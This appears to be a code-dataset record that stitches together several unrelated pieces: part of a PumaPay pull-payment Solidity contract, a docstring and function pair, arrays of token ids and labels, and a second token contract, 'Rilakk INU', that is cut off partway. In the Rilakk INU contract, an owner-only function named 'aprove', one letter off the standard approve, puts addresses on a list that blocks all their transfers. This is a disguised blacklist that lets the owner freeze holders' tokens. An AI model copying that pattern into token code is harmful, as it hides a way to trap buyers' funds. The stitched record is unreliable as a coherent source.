address treasuryAddress; /// address which pma tokens will be transfer to on execution
}
/// ===============================================================================================================
/// Modifiers
/// ===============================================================================================================
modifier isExecutor() {
require(executors[msg.sender], "msg.sender not an executor");
_;
}
modifier executorExists(address _executor) {
require(executors[_executor], "Executor does not exists.");
_;
}
modifier executorDoesNotExists(address _executor) {
require(!executors[_executor], "Executor already exists.");
_;
}
modifier paymentExists(address _client, address _pullPaymentExecutor) {
require(doesPaymentExist(_client, _pullPaymentExecutor), "Pull Payment does not exists");
_;
}
modifier paymentNotCancelled(address _client, address _pullPaymentExecutor) {
require(pullPayments[_client][_pullPaymentExecutor].cancelTimestamp == 0, "Pull Payment is cancelled.");
_;
}
modifier isValidPullPaymentExecutionRequest(address _client, address _pullPaymentExecutor, bytes32 _paymentID) {
require(
(pullPayments[_client][_pullPaymentExecutor].initialPaymentAmountInCents > 0 ||
(now >= pullPayments[_client][_pullPaymentExecutor].startTimestamp &&
now >= pullPayments[_client][_pullPaymentExecutor].nextPaymentTimestamp)
), "Invalid pull payment execution request - Time of execution is invalid."
);
require(pullPayments[_client][_pullPaymentExecutor].numberOfPayments > 0,
"Invalid pull payment execution request - Number of payments is zero.");
require((pullPayments[_client][_pullPaymentExecutor].cancelTimestamp == 0 ||
pullPayments[_client][_pullPaymentExecutor].cancelTimestamp > pullPayments[_client][_pullPaymentExecutor].nextPaymentTimestamp),
"Invalid pull payment execution request - Pull payment is cancelled");
require(keccak256(
abi.encodePacked(pullPayments[_client][_pullPaymentExecutor].paymentID)
) == keccak256(abi.encodePacked(_paymentID)),
"Invalid pull payment execution request - Payment ID not matching.");
_;
}
modifier isValidDeletionRequest(bytes32 _paymentID, address _client, address _pullPaymentExecutor) {
require(_client != address(0), "Invalid deletion request - Client address is ZERO_ADDRESS.");
require(_pullPaymentExecutor != address(0), "Invalid deletion request - Beneficiary address is ZERO_ADDRESS.");
require(_paymentID.length != 0, "Invalid deletion request - Payment ID is empty.");
_;
}
modifier isValidAddress(address _address) {
require(_address != address(0), "Invalid address - ZERO_ADDRESS provided");
_;
}
modifier validConversionRate(string memory _currency) {
require(bytes(_currency).length != 0, "Invalid conversion rate - Currency is empty.");
require(conversionRates[_currency] > 0, "Invalid conversion rate - Must be higher than zero.");
_;
}
modifier validAmount(uint256 _fiatAmountInCents) {
require(_fiatAmountInCents > 0, "Invalid amount - Must be higher than zero");
_;
}
/// ===============================================================================================================
/// Constructor
/// ===============================================================================================================
/// @dev Contract constructor - sets the token address that the contract facilitates.
/// @param _token Token Address.
constructor (address _token)
public {
require(_token != address(0), "Invalid address for token - ZERO_ADDRESS provided");
token = PumaPayToken(_token);
}
// @notice Will receive any eth sent to the contract
function() external payable {
}
/// ===============================================================================================================
/// Public Functions - Owner Only
/// ===============================================================================================================
/// @dev Adds a new executor. - can be executed only by the onwer.
/// When adding a new executor 1 ETH is tranferred to allow the executor to pay for gas.
/// The balance of the owner is also checked and if funding is needed 1 ETH is transferred.
/// @param _executor - address of the executor which cannot be zero address.
function addExecutor(address payable _executor)
public
onlyOwner
isValidAddress(_executor)
executorDoesNotExists(_executor)
{
_executor.transfer(FUNDING_AMOUNT);
executors[_executor] = true;
if (isFundingNeeded(owner())) {
owner().transfer(FUNDING_AMOUNT);
}
emit LogExecutorAdded(_executor);
}
/// @dev Removes a new executor. - can be executed only by the onwer.
/// The balance of the owner is checked and if funding is needed 1 ETH is transferred.
/// @param _executor - address of the executor which cannot be zero address.
function removeExecutor(address payable _executor)
public
onlyOwner
isValidAddress(_executor)
executorExists(_executor)
{
executors[_executor] = false;
if (isFundingNeeded(owner())) {
owner().transfer(FUNDING_AMOUNT);
}
emit LogExecutorRemoved(_executor);
}
/// @dev Sets the exchange rate for a currency. - can be executed only by the onwer.
/// Emits 'LogSetConversionRate' with the currency and the updated rate.
/// The balance of the owner is checked and if funding is needed 1 ETH is transferred.
/// @param _currency - address of the executor which cannot be zero address
/// @param _rate - address of the executor which cannot be zero address
function setRate(string memory _currency, uint256 _rate)
public
onlyOwner
returns (bool) {
conversionRates[_currency] = _rate;
emit LogSetConversionRate(_currency, _rate);
if (isFundingNeeded(owner())) {
owner().transfer(FUNDING_AMOUNT);
}
return true;
}
/// ===============================================================================================================
/// Public Functions - Executors Only
/// ===============================================================================================================
/// @dev Registers a new pull payment to the PumaPay Pull Payment Contract - The registration can be executed only
/// by one of the executors of the PumaPay Pull Payment Contract
/// and the PumaPay Pull Payment Contract checks that the pull payment has been singed by the client of the account.
/// The balance of the executor (msg.sender) is checked and if funding is needed 1 ETH is transferred.
/// Emits 'LogPaymentRegistered' with client address, beneficiary address and paymentID.
/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155
/// @param r - R output of ECDSA signature.
/// @param s - S output of ECDSA signature.
/// @param _ids - all the relevant IDs for the payment.
/// @param _addresses - all the relevant addresses for the payment.
/// @param _currency - currency of the payment / 3-letter abbr i.e. 'EUR'.
/// @param _fiatAmountInCents - payment amount in fiat in cents.
/// @param _frequency - how often merchant can pull - in seconds.
/// @param _numberOfPayments - amount of pull payments merchant can make
/// @param _startTimestamp - when subscription starts - in seconds.
function registerPullPayment(
uint8 v,
bytes32 r,
bytes32 s,
bytes32[3] memory _ids, // 0 paymentID, 1 businessID, 2 uniqueReferenceID
address[3] memory _addresses, // 0 customer, 1 pull payment executor, 2 treasury
string memory _currency,
uint256 _initialPaymentAmountInCents,
uint256 _fiatAmountInCents,
uint256 _frequency,
uint256 _numberOfPayments,
uint256 _startTimestamp
)
public
isExecutor()
{
require(_ids[0].length > 0, "Payment ID is empty.");
require(_ids[1].length > 0, "Business ID is empty.");
require(_ids[2].length > 0, "Unique Reference ID is empty.");
require(bytes(_currency).length > 0, "Currency is empty");
require(_addresses[0] != address(0), "Customer Address is ZERO_ADDRESS.");
require(_addresses[1] != address(0), "Beneficiary Address is ZERO_ADDRESS.");
require(_addresses[2] != address(0), "Treasury Address is ZERO_ADDRESS.");
require(_fiatAmountInCents > 0, "Payment amount in fiat is zero.");
require(_frequency > 0, "Payment frequency is zero.");
require(_frequency < OVERFLOW_LIMITER_NUMBER, "Payment frequency is higher thant the overflow limit.");
require(_numberOfPayments > 0, "Payment number of payments is zero.");
require(_numberOfPayments < OVERFLOW_LIMITER_NUMBER, "Payment number of payments is higher thant the overflow limit.");
require(_startTimestamp > 0, "Payment start time is zero.");
require(_startTimestamp < OVERFLOW_LIMITER_NUMBER, "Payment start time is higher thant the overflow limit.");
pullPayments[_addresses[0]][_addresses[1]].currency = _currency;
pullPayments[_addresses[0]][_addresses[1]].initialPaymentAmountInCents = _initialPaymentAmountInCents;
pullPayments[_addresses[0]][_addresses[1]].fiatAmountInCents = _fiatAmountInCents;
pullPayments[_addresses[0]][_addresses[1]].frequency = _frequency;
pullPayments[_addresses[0]][_addresses[1]].startTimestamp = _startTimestamp;
pullPayments[_addresses[0]][_addresses[1]].numberOfPayments = _numberOfPayments;
pullPayments[_addresses[0]][_addresses[1]].paymentID = _ids[0];
pullPayments[_addresses[0]][_addresses[1]].businessID = _ids[1];
pullPayments[_addresses[0]][_addresses[1]].uniqueReferenceID = _ids[2];
pullPayments[_addresses[0]][_addresses[1]].treasuryAddress = _addresses[2];
require(isValidRegistration(
v,
r,
s,
_addresses[0],
_addresses[1],
pullPayments[_addresses[0]][_addresses[1]]),
"Invalid pull payment registration - ECRECOVER_FAILED"
);
pullPayments[_addresses[0]][_addresses[1]].nextPaymentTimestamp = _startTimestamp;
pullPayments[_addresses[0]][_addresses[1]].lastPaymentTimestamp = 0;
pullPayments[_addresses[0]][_addresses[1]].cancelTimestamp = 0;
if (isFundingNeeded(msg.sender)) {
msg.sender.transfer(FUNDING_AMOUNT);
}
emit LogPaymentRegistered(_addresses[0], _ids[0], _ids[1], _ids[2]);
}
/// @dev Deletes a pull payment for a beneficiary - The deletion needs can be executed only by one of the
/// executors of the PumaPay Pull Payment Contract
/// and the PumaPay Pull Payment Contract checks that the beneficiary and the paymentID have
/// been singed by the client of the account.
/// This method sets the cancellation of the pull payment in the pull payments array for this beneficiary specified.
/// The balance of the executor (msg.sender) is checked and if funding is needed 1 ETH is transferred.
/// Emits 'LogPaymentCancelled' with beneficiary address and paymentID.
/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155
/// @param r - R output of ECDSA signature.
/// @param s - S output of ECDSA signature.
/// @param _paymentID - ID of the payment.
/// @param _client - client address that is linked to this pull payment.
/// @param _pullPaymentExecutor - address that is allowed to execute this pull payment.
function deletePullPayment(
uint8 v,
bytes32 r,
bytes32 s,
bytes32 _paymentID,
address _client,
address _pullPaymentExecutor
)
public
isExecutor()
paymentExists(_client, _pullPaymentExecutor)
paymentNotCancelled(_client, _pullPaymentExecutor)
isValidDeletionRequest(_paymentID, _client, _pullPaymentExecutor)
{
require(isValidDeletion(v, r, s, _paymentID, _client, _pullPaymentExecutor), "Invalid deletion - ECRECOVER_FAILED.");
pullPayments[_client][_pullPaymentExecutor].cancelTimestamp = now;
if (isFundingNeeded(msg.sender)) {
msg.sender.transfer(FUNDING_AMOUNT);
}
emit LogPaymentCancelled(
_client,
_paymentID,
pullPayments[_client][_pullPaymentExecutor].businessID,
pullPayments[_client][_pullPaymentExecutor].uniqueReferenceID
);
}
/// ===============================================================================================================
/// Public Functions
/// ===============================================================================================================
/// @dev Executes a pull payment for the msg.sender - The pull payment should exist and the payment request
/// should be valid in terms of when it can be executed.
/// Emits 'LogPullPaymentExecuted' with client address, msg.sender as the beneficiary address and the paymentID.
/// Use Case 1: Single/Recurring Fixed Pull Payment (initialPaymentAmountInCents == 0 )
/// ------------------------------------------------
/// We calculate the amount in PMA using the rate for the currency specified in the pull payment
/// and the 'fiatAmountInCents' and we transfer from the client account the amount in PMA.
/// After execution we set the last payment timestamp to NOW, the next payment timestamp is incremented by
/// the frequency and the number of payments is decreased by 1.
/// Use Case 2: Recurring Fixed Pull Payment with initial fee (initialPaymentAmountInCents > 0)
/// ------------------------------------------------------------------------------------------------
/// We calculate the amount in PMA using the rate for the currency specified in the pull payment
/// and the 'initialPaymentAmountInCents' and we transfer from the client account the amount in PMA.
/// After execution we set the last payment timestamp to NOW and the 'initialPaymentAmountInCents to ZERO.
/// @param _client - address of the client from which the msg.sender requires to pull funds.
/// @param _paymentID - ID of the payment.
function executePullPayment(address _client, bytes32 _paymentID)
public
paymentExists(_client, msg.sender)
isValidPullPaymentExecutionRequest(_client, msg.sender, _paymentID)
{
uint256 amountInPMA;
if (pullPayments[_client][msg.sender].initialPaymentAmountInCents > 0) {
amountInPMA = calculatePMAFromFiat(
pullPayments[_client][msg.sender].initialPaymentAmountInCents,
pullPayments[_client][msg.sender].currency
);
pullPayments[_client][msg.sender].initialPaymentAmountInCents = 0;
} else {
amountInPMA = calculatePMAFromFiat(
pullPayments[_client][msg.sender].fiatAmountInCents,
pullPayments[_client][msg.sender].currency
);
pullPayments[_client][msg.sender].nextPaymentTimestamp =
pullPayments[_client][msg.sender].nextPaymentTimestamp + pullPayments[_client][msg.sender].frequency;
pullPayments[_client][msg.sender].numberOfPayments = pullPayments[_client][msg.sender].numberOfPayments - 1;
}
pullPayments[_client][msg.sender].lastPaymentTimestamp = now;
token.transferFrom(
_client,
pullPayments[_client][msg.sender].treasuryAddress,
amountInPMA
);
emit LogPullPaymentExecuted(
_client,
pullPayments[_client][msg.sender].paymentID,
pullPayments[_client][msg.sender].businessID,
pullPayments[_client][msg.sender].uniqueReferenceID
);
}
function getRate(string memory _currency) public view returns (uint256) {
return conversionRates[_currency];
}
/// ===============================================================================================================
/// Internal Functions
/// ===============================================================================================================
/// @dev Calculates the PMA Rate for the fiat currency specified - The rate is set every 10 minutes by our PMA server
/// for the currencies specified in the smart contract.
/// @param _fiatAmountInCents - payment amount in fiat CENTS so that is always integer
/// @param _currency - currency in which the payment needs to take place
/// RATE CALCULATION EXAMPLE
/// ------------------------
/// RATE ==> 1 PMA = 0.01 USD$
/// 1 USD$ = 1/0.01 PMA = 100 PMA
/// Start the calculation from one ether - PMA Token has 18 decimals
/// Multiply by the DECIMAL_FIXER (1e+10) to fix the multiplication of the rate
/// Multiply with the fiat amount in cents
/// Divide by the Rate of PMA to Fiat in cents
/// Divide by the FIAT_TO_CENT_FIXER to fix the _fiatAmountInCents
function calculatePMAFromFiat(uint256 _fiatAmountInCents, string memory _currency)
internal
view
validConversionRate(_currency)
validAmount(_fiatAmountInCents)
returns (uint256) {
return ONE_ETHER.mul(DECIMAL_FIXER).mul(_fiatAmountInCents).div(conversionRates[_currency]).div(FIAT_TO_CENT_FIXER);
}
/// @dev Checks if a registration request is valid by comparing the v, r, s params
/// and the hashed params with the client address.
/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155
/// @param r - R output of ECDSA signature.
/// @param s - S output of ECDSA signature.
/// @param _client - client address that is linked to this pull payment.
/// @param _pullPaymentExecutor - address that is allowed to execute this pull payment.
/// @param _pullPayment - pull payment to be validated.
/// @return bool - if the v, r, s params with the hashed params match the client address
function isValidRegistration(
uint8 v,
bytes32 r,
bytes32 s,
address _client,
address _pullPaymentExecutor,
PullPayment memory _pullPayment
)
internal
pure
returns (bool)
{
return ecrecover(
keccak256(
abi.encodePacked(
_pullPaymentExecutor,
_pullPayment.paymentID,
_pullPayment.businessID,
_pullPayment.uniqueReferenceID,
_pullPayment.treasuryAddress,
_pullPayment.currency,
_pullPayment.initialPaymentAmountInCents,
_pullPayment.fiatAmountInCents,
_pullPayment.frequency,
_pullPayment.numberOfPayments,
_pullPayment.startTimestamp
)
),
v, r, s) == _client;
}
/// @dev Checks if a deletion request is valid by comparing the v, r, s params
/// and the hashed params with the client address.
/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155
/// @param r - R output of ECDSA signature.
/// @param s - S output of ECDSA signature.
/// @param _paymentID - ID of the payment.
/// @param _client - client address that is linked to this pull payment.
/// @param _pullPaymentExecutor - address that is allowed to execute this pull payment.
/// @return bool - if the v, r, s params with the hashed params match the client address
function isValidDeletion(
uint8 v,
bytes32 r,
bytes32 s,
bytes32 _paymentID,
address _client,
address _pullPaymentExecutor
)
internal
view
returns (bool)
{
return ecrecover(
keccak256(
abi.encodePacked(
_paymentID,
_pullPaymentExecutor
)
), v, r, s) == _client
&& keccak256(
abi.encodePacked(pullPayments[_client][_pullPaymentExecutor].paymentID)
) == keccak256(abi.encodePacked(_paymentID)
);
}
/// @dev Checks if a payment for a beneficiary of a client exists.
/// @param _client - client address that is linked to this pull payment.
/// @param _pullPaymentExecutor - address to execute a pull payment.
/// @return bool - whether the beneficiary for this client has a pull payment to execute.
function doesPaymentExist(address _client, address _pullPaymentExecutor)
internal
view
returns (bool) {
return (
bytes(pullPayments[_client][_pullPaymentExecutor].currency).length > 0 &&
pullPayments[_client][_pullPaymentExecutor].fiatAmountInCents > 0 &&
pullPayments[_client][_pullPaymentExecutor].frequency > 0 &&
pullPayments[_client][_pullPaymentExecutor].startTimestamp > 0 &&
pullPayments[_client][_pullPaymentExecutor].numberOfPayments > 0 &&
pullPayments[_client][_pullPaymentExecutor].nextPaymentTimestamp > 0
);
}
/// @dev Checks if the address of an owner/executor needs to be funded.
/// The minimum amount the owner/executors should always have is 0.001 ETH
/// @param _address - address of owner/executors that the balance is checked against.
/// @return bool - whether the address needs more ETH.
function isFundingNeeded(address _address)
private
view
returns (bool) {
return address(_address).balance <= MINIMUM_AMOUNT_OF_ETH_FOR_OPERATORS;
}
}
|
@dev Calculates the PMA Rate for the fiat currency specified - The rate is set every 10 minutes by our PMA server for the currencies specified in the smart contract. @param _fiatAmountInCents - payment amount in fiat CENTS so that is always integer @param _currency - currency in which the payment needs to take place RATE CALCULATION EXAMPLE ------------------------ RATE ==> 1 PMA = 0.01 USD$ 1 USD$ = 1/0.01 PMA = 100 PMA Start the calculation from one ether - PMA Token has 18 decimals Multiply by the DECIMAL_FIXER (1e+10) to fix the multiplication of the rate Multiply with the fiat amount in cents Divide by the Rate of PMA to Fiat in cents Divide by the FIAT_TO_CENT_FIXER to fix the _fiatAmountInCents
|
function calculatePMAFromFiat(uint256 _fiatAmountInCents, string memory _currency)
internal
view
validConversionRate(_currency)
validAmount(_fiatAmountInCents)
returns (uint256) {
return ONE_ETHER.mul(DECIMAL_FIXER).mul(_fiatAmountInCents).div(conversionRates[_currency]).div(FIAT_TO_CENT_FIXER);
}
| 14,028,378 |
[
1,
10587,
326,
453,
5535,
13025,
364,
326,
7314,
270,
5462,
1269,
300,
1021,
4993,
353,
444,
3614,
1728,
6824,
635,
3134,
453,
5535,
1438,
364,
326,
19239,
1269,
316,
326,
13706,
6835,
18,
225,
389,
22056,
270,
6275,
382,
39,
4877,
300,
5184,
3844,
316,
7314,
270,
385,
2222,
55,
1427,
716,
353,
3712,
3571,
225,
389,
7095,
300,
5462,
316,
1492,
326,
5184,
4260,
358,
4862,
3166,
534,
1777,
385,
1013,
39,
1506,
2689,
5675,
21373,
12146,
17082,
534,
1777,
422,
34,
404,
453,
5535,
273,
374,
18,
1611,
587,
9903,
8,
404,
587,
9903,
8,
273,
404,
19,
20,
18,
1611,
453,
5535,
273,
2130,
453,
5535,
3603,
326,
11096,
628,
1245,
225,
2437,
300,
453,
5535,
3155,
711,
6549,
15105,
5991,
1283,
635,
326,
25429,
67,
4563,
654,
261,
21,
73,
15,
2163,
13,
358,
2917,
326,
23066,
434,
326,
4993,
5991,
1283,
598,
326,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
445,
4604,
52,
5535,
1265,
42,
77,
270,
12,
11890,
5034,
389,
22056,
270,
6275,
382,
39,
4877,
16,
533,
3778,
389,
7095,
13,
203,
565,
2713,
203,
565,
1476,
203,
565,
923,
6814,
4727,
24899,
7095,
13,
203,
565,
923,
6275,
24899,
22056,
270,
6275,
382,
39,
4877,
13,
203,
565,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
15623,
67,
1584,
3891,
18,
16411,
12,
23816,
67,
4563,
654,
2934,
16411,
24899,
22056,
270,
6275,
382,
39,
4877,
2934,
2892,
12,
20990,
20836,
63,
67,
7095,
65,
2934,
2892,
12,
1653,
789,
67,
4296,
67,
19666,
67,
4563,
654,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
/*
Hi! This is Rilakk INU, the chillest utility inu out there.
Join Us for 100x, wealth accumulation (staking),
entertainment (Play2Earn game) and much more!!!
Telegram: https://t.me/RILAKKINU
Website: https://www.rilakkinu.com
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Rilakkinu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _initSellTax = 10;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax = _initSellTax;
address payable public _FeeAddress;
address payable private _feeAddrWallet2;
string private constant _name = "Rilakk INU";
string private constant _symbol = "RINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public _maxWalletSize = _tTotal.div(20);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_feeAddrWallet2 = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = _sellTax;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function aprove(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
